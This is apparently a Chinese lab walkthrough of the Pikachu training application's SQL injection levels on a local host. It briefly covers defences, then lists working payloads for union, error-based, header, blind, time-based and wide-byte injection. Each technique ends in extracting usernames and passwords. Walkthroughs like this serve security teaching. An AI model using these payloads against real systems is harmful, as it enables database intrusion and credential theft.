在owasp發佈的top10排行榜裏,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞裏面首當其衝的就是數據庫注入漏洞。
一個嚴重的SQL注入漏洞,可能會直接致使一家公司破產!
SQL注入漏洞主要造成的緣由是在數據交互中,前端的數據傳入到後臺處理時,沒有作嚴格的判斷,致使其傳入的「數據」拼接到SQL語句中後,被看成SQL語句的一部分執行。 從而致使數據庫受損(被脫褲、被刪除、甚至整個服務器權限淪陷)。php
在構建代碼時,通常會從以下幾個方面的策略來防止SQL注入漏洞:
1.對傳進SQL語句裏面的變量進行過濾,不容許危險字符傳入;
2.使用參數化(Parameterized Query 或 Parameterized Statement);
3.還有就是,目前有不少ORM框架會自動使用參數化解決注入問題,但其也提供了"拼接"的方式,因此使用時須要慎重! 前端
1.抓包發送到repeater模塊,分別在id=1後面輸入and 1=1與and 1=2sql
and 1=1 未報錯數據庫
and 1=2 報錯服務器
2.暴出字段數,order by 2未報錯,order by 3報錯,說明只有兩個字段框架
3.用聯合查詢暴出位置,id爲錯誤值,id=0 union select 1,2工具
4.暴出數據庫名,post
id=0 union select 1,database()測試
5.暴出表名,ui
id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
6.管理員的帳號密碼可能在users表中,暴出列名,
id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
7.暴出值,
id=0 union select 1,group_concat(username,0x3a,password) from users
1.暴出庫名,id爲正確值,id=1 and extractvalue(1,concat(0x7e,(select database())))
2.暴出表名,
id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
3.暴出列名,
id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))
4.未徹底顯示,使用not in暴出未顯示的
5.暴出值,
id=1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))),同理未顯示的能夠用not in暴出
不作累述。
1.單引號測試,報錯
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1'&submit=%E6%9F%A5%E8%AF%A2
2.添加註釋符,未報錯,肯定爲單引號字符型注入,
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1' --+&submit=%E6%9F%A5%E8%AF%A2
3.暴出字段數,order by 2未報錯,order by 3報錯,說明只有兩個字段,
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1' order by 2 --+&submit=%E6%9F%A5%E8%AF%A2
4.爆出位置,
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1' union select 1,2 --+&submit=%E6%9F%A5%E8%AF%A2
5.暴出表名,
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&submit=%E6%9F%A5%E8%AF%A2
6.暴出字段,
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&submit=%E6%9F%A5%E8%AF%A2
7.暴出值,
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1' union select 1,group_concat(username,0x3a,password) from users --+&submit=%E6%9F%A5%E8%AF%A2
數字型注入(post)的方法2、三一樣適用於本題
1.原理分析
select username,id,email from member where username like '%$name%'
這句SLQ語句就是基於用戶輸入的name的值在表member中搜索匹配username,可是若是輸入 'and 1=1 and '%'=' 就變成了
select username,id,email from member where username like '%$name'and 1=1 and '%'='%'
·搜索型注入的判斷方法:
1 搜索keywords‘,若是出錯的話,有90%的可能性存在漏洞;
2 搜索 keywords%,若是一樣出錯的話,就有95%的可能性存在漏洞;
3 搜索keywords% 'and 1=1 and '%'='(這個語句的功能就至關於普通SQL注入的 and 1=1)看返回的狀況
4 搜索keywords% 'and 1=2 and '%'='(這個語句的功能就至關於普通SQL注入的 and 1=2)看返回的狀況
5 根據兩次的返回狀況來判斷是否是搜索型文本框注入了
·下面方法也能夠測試
'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%'='
2.判斷是否可注入,嘗試構造
http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=0%' &submit=%E6%90%9C%E7%B4%A2,報錯
http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=0%' --+&submit=%E6%90%9C%E7%B4%A2,未報錯
3.暴字段數,order by 3未報錯
http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=0%' order by 4 --+&submit=%E6%90%9C%E7%B4%A2
4.爆出位置,
http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=0%' union select 1,2,3 --+&submit=%E6%90%9C%E7%B4%A2
5.暴出表名,
http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=0%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+&submit=%E6%90%9C%E7%B4%A2
6.暴出列名,
http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=0%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+&submit=%E6%90%9C%E7%B4%A2
7.暴出值,
http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=0%' union select 1,2,group_concat(username,0x3a,password) from users --+&submit=%E6%90%9C%E7%B4%A2
1.先單引號測試判斷,
http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=0' &submit=%E6%9F%A5%E8%AF%A2#
2.報這樣的錯,嘗試構造,
http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=0') &submit=%E6%9F%A5%E8%AF%A2#,報錯
http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=0') --+&submit=%E6%9F%A5%E8%AF%A2#,未報錯
3.判斷字段數,order by 2未報錯
http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=0') order by 3--+&submit=%E6%9F%A5%E8%AF%A2#
4.爆出位置,
http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=0') union select 1,2 --+&submit=%E6%9F%A5%E8%AF%A2#
5.暴出表名,
http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=0') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+&submit=%E6%9F%A5%E8%AF%A2#
6.暴出列名,
http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=0') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&submit=%E6%9F%A5%E8%AF%A2#
7.暴出值,
http://127.0.0.1/pikachu/vul/sqli/sqli_x.php?name=0') union select 1,group_concat(username,0x3a,password) from users --+&submit=%E6%9F%A5%E8%AF%A2#
1.用單引號判斷,
2.存在注入,前面的單引號閉合前面的單引號,後面的單引號閉合後面的單引號,兩個or之間就能夠填入咱們的代碼,能夠直接把報錯的代碼插入進去,暴出庫名,
' or updatexml(1,concat(0x7e,(database())),0) or '
3.同理,暴出表,
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) or '
4.暴出列名
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),0) or '
5.暴出值
' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),0) or '
1.刪除留言同時抓包,發送到repeater模塊,能夠在repeater裏面的id進行閉合操做,由於它傳的是個id是個 數字型,因此咱們不須要用單引號進行閉合,
由於這個參數實在uil裏面提交的,因此咱們須要在burp上對這個payload作一個URL的編碼
2.暴出庫名,
id=63+or+updatexml(1,concat(0x7e,(select+database())),0)
3.暴出表名,
id=63+or+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase())),0)
4.暴出列名,
id=63+or+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name%3d'users')),0)
5.暴出值,
id=63+or+updatexml(1,concat(0x7e,(select+group_concat(username,0x3a,password)+from+users)),0)
1.輸入數據查看,
2.抓包查看,發送到repeater模塊,把Accept中的內容刪掉,加上單引號測試,報錯,說明可能有注入,
3.構造payload,暴出庫名,
User-Agent: ' or updatexml(1,concat(0x7e,(select database())),0) or '
4.暴出表名,
User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) or '
5.暴出列名,
User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),0) or '
6.暴出值,
User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),0) or '
1.基於布爾的盲注(boolean),判斷,
kobe' and 1=1#
2.逐字節猜解,
報錯:kobe' and ascii(substr(database(),1,1))>112#
未報錯:kobe' and ascii(substr(database(),1,1))=112#
3.這樣逐字節猜解庫名、表名、列名和值,過於繁瑣,建議使用工具。
1.基於時間的盲注,判斷,響應時間差很少五秒,存在注入,
kobe' and sleep(5)#
2.猜解暴庫,
秒響應:kobe' and if((substr(databese(),1,1))='s',sleep(5),null)#
響應時間五秒:kobe' and if((substr(databese(),1,1))='p',sleep(5),null)#
說明庫名第一個首字母爲p
3.繼續猜解,過於繁瑣,建議使用工具
1.在magic_quotes_gpc=On的狀況下,提交的參數中若是帶有單引號’,就會被自動轉義\’,使不少注入攻擊無效,
GBK雙字節編碼:一個漢字用兩個字節表示,首字節對應0×81-0xFE,尾字節對應0×40-0xFE(除0×7F),恰好涵蓋了轉義符號對應的編碼0×5C。
0xD50×5C 對應了漢字「誠」,URL編碼用百分號加字符的16進制編碼表示字符,因而 %d5%5c 經URL解碼後爲「誠」。
2.輸入%d5',報錯,存在寬字節注入,
3.暴字段位數,order by 2未報錯,order by 3報錯,存在兩個字段,
4.爆出位置,
name=1%d5' union select 1,2 --+
5.暴出表名,
name=1%d5' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
6.暴出列名,table_name='users' 也存在單引號,須要把users十六進制編碼0x7573657273,
name=1%d5' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
7.暴出值,
name=1%d5' union select 1,group_concat(username,0x3a,password) from users --+